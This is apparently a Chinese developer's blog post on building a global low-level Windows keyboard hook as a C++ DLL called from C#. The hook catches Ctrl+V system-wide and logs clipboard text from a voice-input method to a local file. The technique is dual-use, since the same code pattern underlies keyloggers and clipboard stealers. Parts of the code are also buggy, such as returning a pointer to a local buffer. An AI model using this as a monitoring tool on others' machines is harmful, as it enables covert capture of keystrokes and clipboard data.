一、需求
最近要搞一个获取输入法语音识别内容的功能(C#程序上),比如在讯飞上,语音识别到后并输出相当于按了Ctrl+V将文字输出到光标位置,完成语音识别。最初的想法是在窗体上新建一个文本框,输入后再根据文本框的属性去获取,之后发现存在很多问题,比如光标移动了、程序不在最上层、被小化等不确定因素太多;故在了解到全局钩子后,即着手进行。
二、实现
刚开始对钩子一窍不通,仅收到老大发来的一个参考文档:https://blog.csdn.net/itcastcpp/article/details/7645280,然后去了解并着手实现。在了解了关键的几个方法后,开始去做。
首先,文档是C++的,因为对各种限制不了解,由于前两周刚了解过WIN32 API尝试用C#来实现。经过创建钩子,编写回调函数(对Ctrl和V键进行拦截并处理)后发现:只能在当前程序(线程)中实现拦截,即使SetWindowsHookEx第三个参数模块句柄设置为
GetModuleHandle("user32"),查找资料后得出原因:在.Net4.0和Win8之前的版本中,CLR不再模拟托管程序集中的非托管句柄,参考:https://blog.csdn.net/catshitone/article/details/77712204?locationNum=9&fps=1。说实话主要原因并不是很清楚,然后再综合其他资料得出结论:用C#写的钩子是实现不了监控全局鼠标键盘,此时已耗时一周,果断扭头考虑其他实现方式。
想起来刚开始老大发的文档,于是在CSDN里搜各种键盘钩子的实现,了解到需要用C++写成dll(安装钩子、回调拦截、卸载钩子等的方法都写在dll里)并在自己的C#(或其他语言写的)程序里加载后才能实现。对C++基本忘了干净,又去了解C++语法,然后参考其他文档,解决了各种遇到的编译问题,主要是由于第一次在本地电脑上用VS2013写C++的项目,关于各种项目配置也算是重新学习了一遍,之后又在调试dll遇上问题,在相继解决了不能加断点、转换数据类型、打印log等上边遇到问题,总之是经历万难,算是生成了需要的dll了。
最后进入了漫长的调试之路,加载dll、运行所需函数,发现还是只能在程序的主窗体内才能拦截,几乎快要崩溃了;柳暗花明地又去翻阅前辈们的资料,发现是在安装钩子是第一个函数要是WH_KEYBOARD_LL(13)不能是WH_KEYBOARD(2)(虽然之前也意识到这里,但是一直用的是2,能够在线程中拦截,用13根本拦截不到),而修改后仍拦截不到,是因为大多数的资料里都缺少的一部分,无限循环去获取消息,很重要的一部分却总是未出现在各种所谓的文档中,加上这一部分后,成功运行,不管C#程序处于什么状态,在哪个界面输入,总能拦截到键盘消息,此时又已是一周零两天过去了。这也是写本文的最大目的,希望之后再遇到这种问题的同学可以少走弯路。
三、源码
KeyboardHook.cpp
// KeyboardHook.cpp : 定义 DLL 应用程序的导出函数。
//
#include <afx.h>
#include "KeyboardHook.h"
//#include "windows.h"
#include "imm.h"
#include "stdio.h"
#include<fstream>
#include<string.h>
#include <sstream>
#include <iostream>
#include <stdint.h>
#include <time.h>
using namespace std;
//#include "stdafx.h"
//#include <process.h>
//#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
HWND FocusWnd; //当前窗口句柄,必须使全局的
static int CtrlV[4] = { 0, 0, 0, 0 };
static int CTRLV[2] = { 0, 0};
static bool ToGet = false;
static int GetTime = 0;
char title[256]; //获得窗口名字
char *ftemp; //begin/end 写到文件里面
char temptitle[256] = "<<标题:"; //<<标题:窗口名字>>
char t[2] = { 0, 0 }; //捕获单个字母
#define WM_USER_MSG WM_USER + 1001
typedef struct {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
}_KBDLLHOOKSTRUCT, *_PKBDLLHOOKSTRUCT;
char* getTime()
{
time_t timep;
time(&timep);
char tmp[64];
strftime(tmp, sizeof(tmp), "%Y-%m-%d %H:%M:%S", localtime(&timep));
return tmp;
}
void writefile(char* lpstr)
{//保存为文件
/*ofstream file;
file.open("D:\\hooktxt.txt");
cout << lpstr << endl;
file.close();*/
std::ofstream out("D:\\hooktxt.txt", std::ios::app);
//string s="";
//s = ;
//char* c;
//const int len = s.length();
//c = new char[len + 1];
//strcpy(c, s.c_str());
//const char* c = s.data();
out << lpstr << std::endl;
out.close();
/*FILE* f1;
char cmd[256];
GetSystemDirectory(cmd, 256);
strcat(cmd, "D:\\hooktxt.txt");
f1 = fopen(cmd, "a+");
fwrite(lpstr, strlen(lpstr), 1, f1);
fclose(f1);*/
}
LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= HC_ACTION && wParam == WM_KEYDOWN) //有键按下
{
DWORD vk_code = ((_KBDLLHOOKSTRUCT*)lParam)->vkCode;
switch (vk_code) //按键信息,CTRL为162,V为86
{
case 162://CTRL
//EmptyClipboard();//清空剪贴板
if (CTRLV[0] == 0)
{
//writefile("Ctrl↓");
int CTRLV2[2] = { 162, 0 };
memcpy(CTRLV, CTRLV2, sizeof(CTRLV2));
//CTRLV[0] == 162;
ToGet = false;
}
else
{
ToGet = false;
}
break;
case 86://V
if (CTRLV[0] == 162 && CTRLV[1] == 0)
{
//writefile("V↓");
int CTRLV2[2] = { 162, 86 };
//V键被按下,动作第二步
memcpy(CTRLV, CTRLV2, sizeof(CTRLV2));
GetTime+=1;
ClearCtrlV();
ToGet = true;
}
else{
ToGet = false;
}
break;
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam); //将消息还给钩子链,不要影响别人
}
bool RetToGet()
{
return ToGet;
}
int RetGetTime()
{
return GetTime;
}
void ClearCtrlV()
{
int CTRLV2[2] = { 0, 0 };
memcpy(CTRLV, CTRLV2, sizeof(CTRLV2));
//for (int i = 0; i < 4; i++)
// CtrlV[i] = 0; //清空存入的值
}
void ClearCTRLV()
{
for (int i = 0; i < 2; i++)
CtrlV[i] = 0; //清空存入的值
}
WINUSERAPI
HANDLE
WINAPI
GetClipboardData(
__in UINT uFormat);
char* PrintClip()
{
/*if (::OpenClipboard(NULL) && ::IsClipboardFormatAvailable(CF_HDROP))
{
HDROP hDrop = (HDROP)::GetClipboardData(CF_HDROP);
if (hDrop != NULL)
{
}
}*/
if (!IsClipboardFormatAvailable(CF_TEXT))
{
return "1";
}
if (!OpenClipboard(NULL))
{
return "2";
}
//TCHAR strText[256] = "";
// 分配全局内存
//hMem = GlobalAlloc(GMEM_MOVEABLE, ((strlen(strText) + 1)*sizeof(TCHAR)));
//获取UNICODE的数据。
HGLOBAL hMem = GetClipboardData(CF_TEXT);
if (hMem != NULL)
{
// 锁住内存区
LPTSTR lpStr = (LPTSTR)GlobalLock(hMem);
// 内存复制
//memcpy(lpStr, strText, ((strlen(strText))*sizeof(TCHAR)));
// 字符结束符
//lpStr[strlen(strText)] = (TCHAR)0;
if (lpStr != NULL)
{
writefile(lpStr);
GlobalUnlock(hMem);
}
}
//SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
//
//HGLOBAL hClip;
//char* pBuf="";
读取数据
//hClip = GetClipboardData(CF_TEXT);
//writefile(hClip);
//if (NULL != hClip)
//{
// char* lpStr = (char*)::GlobalLock(hClip);
// writefile(lpStr);
// if (NULL != lpStr)
// {
// //MessageBox(0, lpStr, "", 0);
// ::GlobalUnlock(hClip);
// }
//}
//::CloseClipboard();
//return pBuf;
}
//HOOK_API BOOL InstallHook()
void InstallHook()
{
GetTime = 0;
ToGet = false;
ClearCtrlV();
//DWORD dwThreadId:线程标识符,该参数表示与子程相关联的线程ID。通常情况下该参数写0时为全局钩子。 //GetModuleHandle(TEXT("KeyboardHook.dll")) GetModuleHandle(TEXT("user32.dll"))
g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)MessageProc, GetModuleHandle(TEXT("KeyboardHook.dll")), 0); //可以实现线程内
//g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)MessageProc, g_hHinstance, NULL);
//char *s = "g_hHook installed";
//writefile(s);
//return TRUE;
}
void main()
{
InstallHook();
/*MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
writefile("收到消息");
}*/
MSG msg;
while (1)
{
if (PeekMessageA(&msg, 0, 0, 0, PM_REMOVE))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
//writefile("111");
}
else
//writefile("~~");
Sleep(0); //避免CPU全负载运行
}
UnHook();
}
//HOOK_API BOOL UnHook()
BOOL UnHook()
{
writefile("卸载");
ClearCtrlV();
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain(HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//char szBuff[MAX_PATH] = { 0 };
//memset(szBuff, 0, sizeof(szBuff));
取得当前exe的路径
//GetModuleFileName(NULL, szBuff, sizeof(szBuff));
//g_hHinstance = HINSTANCE(hModule);
//g_hHinstance = GetModuleHandle(NULL);
//g_hHinstance = GetModuleHandle(TEXT("KeyboardHook.dll")); ;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
KeyboardHook.def
LIBRARY "KeyboardHook"
EXPORTS
writefile @ 1
writefile @ 2
InstallHook @ 3
UnHook @ 4
PrintClip @ 5
ClearCtrlV @ 6
RetToGet @ 7
RetGetTime @ 8
main @ 9
ClearCTRLV @ 10
KeyboardHook.h
#ifndef KEYBOARDHOOK_H//作用:防止graphics.h被重复引用
#define KEYBOARDHOOK_H
extern "C" _declspec(dllexport) void writefile(char *lpstr);
extern "C" _declspec(dllexport) void writtitle();
extern "C" _declspec(dllexport) void InstallHook();
extern "C" _declspec(dllexport) BOOL UnHook();
extern "C" _declspec(dllexport) char* PrintClip();
extern "C" _declspec(dllexport) void ClearCtrlV();
extern "C" _declspec(dllexport) bool RetToGet();
extern "C" _declspec(dllexport) int RetGetTime();
extern "C" _declspec(dllexport) void main();
extern "C" _declspec(dllexport) void ClearCTRLV();
//extern "C" _declspec(dllexport) LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam);
#endif
C#程序里
hook.cs
sing System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace MayaCurrent.Tools
{
class HOOK
{
private delegate int KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
static int hKeyboardHook = 0; //如果hKeyboardHook==0,钩子安装失败
KeyboardProc KeyboardHookProcedure;
/// <summary>
/// 钩子函数,需要引用空间(using System.Reflection;)
/// 线程钩子监听键盘消息设为2,全局钩子监听键盘消息设为13
/// 线程钩子监听鼠标消息设为7,全局钩子监听鼠标消息设为14
/// </summary>
public const int WH_KEYBOARD = 13;
public const int WH_MOUSE_LL = 14;
public struct KeyboardMSG
{
public int vkCode; //keyValue
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
public int VK_CONTROL;
public int VK_MENU;
public int VK_DELETE;
}
[DllImport("KeyboardHook.dll", EntryPoint = "InstallHook")]
public static extern void InstallHook();
[DllImport("KeyboardHook.dll")]
public static extern bool UnHook();
[DllImport("KeyboardHook.dll", EntryPoint = "main")]
public static extern bool main();
[DllImport("KeyboardHook.dll")]
public static extern char[] PrintClip();
[DllImport("KeyboardHook.dll")]
public static extern void writefile(char[] s);
[DllImport("KeyboardHook.dll")]
public static extern void writtitle();
[DllImport("KeyboardHook.dll")]
public static extern bool RetToGet();
[DllImport("KeyboardHook.dll")]
public static extern int RetGetTime();
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
/// 原型是 : FARPROC GetProcAddress(HMODULE hModule, LPCWSTR lpProcName);
/// <param name="hModule"> 包含需调用函数的函数库模块的句柄 </param>
/// <param name="lpProcName"> 调用函数的名称 </param>
/// <returns> 函数指针 </returns>
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
/// 原型是 : BOOL FreeLibrary(HMODULE hModule);
/// <param name="hModule"> 需释放的函数库模块的句柄 </param>
/// <returns> 是否已释放指定的 Dll</returns>
[DllImport("kernel32", EntryPoint = "FreeLibrary", SetLastError = true)]
static extern bool FreeLibrary(IntPtr hModule);
/// Loadlibrary 返回的函数库模块的句柄
private static IntPtr hModule = IntPtr.Zero;
/// GetProcAddress 返回的函数指针
private static IntPtr farProc = IntPtr.Zero;
///2018-7-3 14:51:11
/// <summary>
/// 装载 Dll
/// </summary>
/// <param name="lpFileName">DLL 文件名 </param>
public void LoadDll(string lpFileName)
{
hModule = LoadLibrary(lpFileName);
if (hModule == IntPtr.Zero)
throw (new Exception(" 没有找到 :" + lpFileName + "."));
}
/// 获得函数指针
/// <param name="lpProcName"> 调用函数的名称 </param>
public void LoadFun(string lpProcName)
{ // 若函数库模块的句柄为空,则抛出异常
if (hModule == IntPtr.Zero)
throw (new Exception(" 函数库模块的句柄为空 , 请确保已进行 LoadDll 操作 !"));
// 取得函数指针
farProc = GetProcAddress(hModule, lpProcName);
// 若函数指针,则抛出异常
if (farProc == IntPtr.Zero)
throw (new Exception(" 没有找到 :" + lpProcName + " 这个函数的入口点 "));
}
/// <summary>
/// 获得函数指针
/// </summary>
/// <param name="lpFileName"> 包含需调用函数的 DLL 文件名 </param>
/// <param name="lpProcName"> 调用函数的名称 </param>
public void LoadFun(string lpFileName, string lpProcName)
{ // 取得函数库模块的句柄
hModule = LoadLibrary(lpFileName);
// 若函数库模块的句柄为空,则抛出异常
if (hModule == IntPtr.Zero)
LOGGER.message("没有找到 :" + lpFileName);
// 取得函数指针
farProc = GetProcAddress(hModule, lpProcName);
// 若函数指针,则抛出异常
if (farProc == IntPtr.Zero)
LOGGER.message(" 没有找到 :" + lpProcName + " 这个函数的入口点 ");
}
/// <summary>
/// 卸载 Dll
/// </summary>
public void UnLoadDll()
{
LoadFun("KeyboardHook.dll", "UnHook"); //获取UnHook(入口)地址
UnHook();
//FreeLibrary(hModule);
hModule = IntPtr.Zero;
farProc = IntPtr.Zero;
}
// 安装钩子
public void KeyboardStart()
{
LoadFun("KeyboardHook.dll", "main"); //获取InstallHook(入口)地址
main();
}
//获得返回
public bool ToRetOrNot()
{
LoadFun("KeyboardHook.dll", "RetToGet"); //获取RetToGet(入口)地址
return RetToGet();
}
public int ToRetGetTime()
{
LoadFun("KeyboardHook.dll", "RetGetTime"); //获取RetToGet(入口)地址
return RetGetTime();
}
public string GetClipboard()
{
LoadFun("KeyboardHook.dll", "PrintClip");
try
{
char[] s = new char[1024] ;
s=PrintClip();
}
catch(Exception e)
{
LOGGER.info(e.ToString());
return "";
}
return "OK";
}
// 卸载钩子
public void KeyboardStop()
{
//UnHook();
}
}
具体实现上,是开始安装钩子并无限循环获取,然后在计时器里根据状态获取剪切板内容并返回。
CAction.cs
public static string VoiceBePrint = "";
public static int BlockTimes = 0;
public static bool toget = false;
public static bool ToListen = false;
public static void VoiceHasReg()
{
IDataObject iData = Clipboard.GetDataObject();
if (iData.GetDataPresent(DataFormats.Text))
{
string nowtext = (string)iData.GetData(DataFormats.Text);
CAction.VoiceBePrint +=nowtext;
//MessageBox.Show(nowtext);
LOGGER.message("第" + BlockTimes + "次拦截到剪切板内(语音识别)结果为:" + nowtext);
//LOGGER.message("第" + BlockTimes + "次结果为:" + VoiceBePrint);
}
}
public static bool HasReg()
{
HOOK hook = new HOOK();
toget = hook.ToRetOrNot();
return toget;
}
public static int RegTime()
{
HOOK hook = new HOOK();
BlockTimes = hook.ToRetGetTime();
return BlockTimes;
}
计时器:
程序主窗体.cs
public static int CheckCtrlV= 0;
public static bool CtrlvAdd = true;
public static int OnlyOne = 0;
private void timerVoiceBlockedDll_Tick(object sender, EventArgs e)
{
if (CAction.ToListen)
{
try
{
bool bl=CAction.HasReg();
if (OnlyOne < 1 &&bl)//监测到dll中的一个CTRL+V按完,则一直为true
{
int Int=CAction.RegTime();
if ( Int>CheckCtrlV)
{
CheckCtrlV = Int;
OnlyOne =1;
CAction.VoiceHasReg();
}
}
else if (!bl)
{
OnlyOne = 0;
CAction.VoiceBePrint = ""; //清空
}
else
{
OnlyOne = 0;
//CAction.VoiceBePrint = ""; //清空
}
}
catch(Exception){
}
}
else
{
OnlyOne = 0;
//CAction.VoiceBePrint = ""; //清空
}
}